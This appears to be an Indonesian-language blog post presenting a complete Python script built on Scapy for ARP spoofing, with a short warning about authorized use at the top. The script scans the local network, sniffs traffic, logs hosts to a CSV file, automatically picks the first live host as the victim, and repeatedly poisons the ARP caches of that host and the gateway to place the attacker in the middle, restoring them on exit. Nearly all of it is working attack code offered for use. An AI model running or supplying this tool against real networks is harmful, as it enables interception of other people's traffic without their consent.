Peringatan: ARP spoofing harus hanya digunakan untuk pembelajaran atau pengujian di jaringan yang Anda miliki atau telah diberi izin eksplisit. Penggunaan tanpa izin termasuk pelanggaran hukum di banyak negara.
Fitur Utama:
- Semua pemindaian & spoofing dalam satu file skrip
- Pemilihan target otomatis dari hasil scan
- Opsional: simpan log ke file
.csv
Tambahan Opsional:
- ✅ Bisa diulang otomatis setiap jam?
- ✅ Bisa digabung langsung ke skrip ARP spoofing utama
- ✅ Bisa disesuaikan untuk log waktu & hanya menyimpan hasil yang berubah
from scapy.all import ARP, Ether, srp, send, sniff, IP
import os, sys, time, csv
def get_ip_lan():
from netifaces import interfaces, ifaddresses, AF_INET
for iface in interfaces():
addrs = ifaddresses(iface)
if AF_INET in addrs:
for link in addrs[AF_INET]:
ip = link.get("addr")
if ip and not ip.startswith("127."):
return ip
return None
def get_gateway_ip():
import netifaces
gws = netifaces.gateways()
return gws['default'][netifaces.AF_INET][0]
def get_mac(ip):
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, verbose=0)
return ans[0][1].hwsrc if ans else None
def arp_scan(ip_range):
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_range)
result = srp(packet, timeout=3, verbose=0)[0]
return [r[1].psrc for r in result]
def sniff_special_ips(duration=10):
packets = sniff(filter="ip", timeout=duration)
found_ips = set()
for pkt in packets:
if IP in pkt:
dst = pkt[IP].dst
if dst.startswith("224.") or dst.startswith("239.") or dst.endswith(".255") or dst.startswith("169.254."):
found_ips.add(dst)
return list(found_ips)
def scan_semua(ip_range="192.168.1.0/24", output_file="hasil_scan.csv"):
hasil = []
lan_ips = arp_scan(ip_range)
for ip in lan_ips:
hasil.append((ip, "Host LAN", "ARP"))
special_ips = sniff_special_ips()
for ip in special_ips:
if ip.startswith("224.") or ip.startswith("239."):
kategori = "Multicast"
elif ip.endswith(".255"):
kategori = "Broadcast"
elif ip.startswith("169.254."):
kategori = "Link-local"
else:
kategori = "Lainnya"
hasil.append((ip, kategori, "SNIFF"))
hasil.append(("127.0.0.1", "Loopback", "Static"))
with open(output_file, mode="w", newline="") as f:
writer = csv.writer(f)
writer.writerow(["IP", "Kategori", "Sumber"])
for row in hasil:
writer.writerow(row)
return lan_ips # Kembalikan IP aktif dari ARP saja untuk spoof
def spoof(target_ip, spoof_ip, target_mac):
packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip, hwdst=target_mac)
send(packet, verbose=0)
def restore(destination_ip, source_ip, destination_mac, source_mac):
packet = ARP(op=2, pdst=destination_ip, psrc=source_ip,
hwdst=destination_mac, hwsrc=source_mac)
send(packet, count=4, verbose=0)
# =============================
# MAIN
# =============================
if __name__ == "__main__":
if os.name != "nt" and os.geteuid() != 0:
sys.exit("[!] Harus dijalankan sebagai root/admin!")
my_ip = get_ip_lan()
if not my_ip:
sys.exit("[!] Gagal deteksi IP LAN.")
ip_parts = my_ip.split(".")
ip_range = f"{ip_parts[0]}.{ip_parts[1]}.{ip_parts[2]}.0/24"
gateway_ip = get_gateway_ip()
gateway_mac = get_mac(gateway_ip)
print(f"[+] IP LAN: {my_ip}")
print(f"[+] Gateway: {gateway_ip} - {gateway_mac}")
targets = scan_semua(ip_range)
if not targets:
sys.exit("[!] Tidak ada target aktif ditemukan.")
target_ip = targets[0]
target_mac = get_mac(target_ip)
print(f"[+] Target otomatis: {target_ip} ({target_mac})")
try:
print("[+] Menjalankan ARP Spoofing... CTRL+C untuk berhenti.")
while True:
spoof(target_ip, gateway_ip, target_mac)
spoof(gateway_ip, target_ip, gateway_mac)
time.sleep(2)
except KeyboardInterrupt:
print("\n[!] Stop spoofing. Mengembalikan ARP...")
restore(target_ip, gateway_ip, target_mac, gateway_mac)
restore(gateway_ip, target_ip, gateway_mac, target_mac)
print("[+] ARP tabel pulih.")
Comments
Post a Comment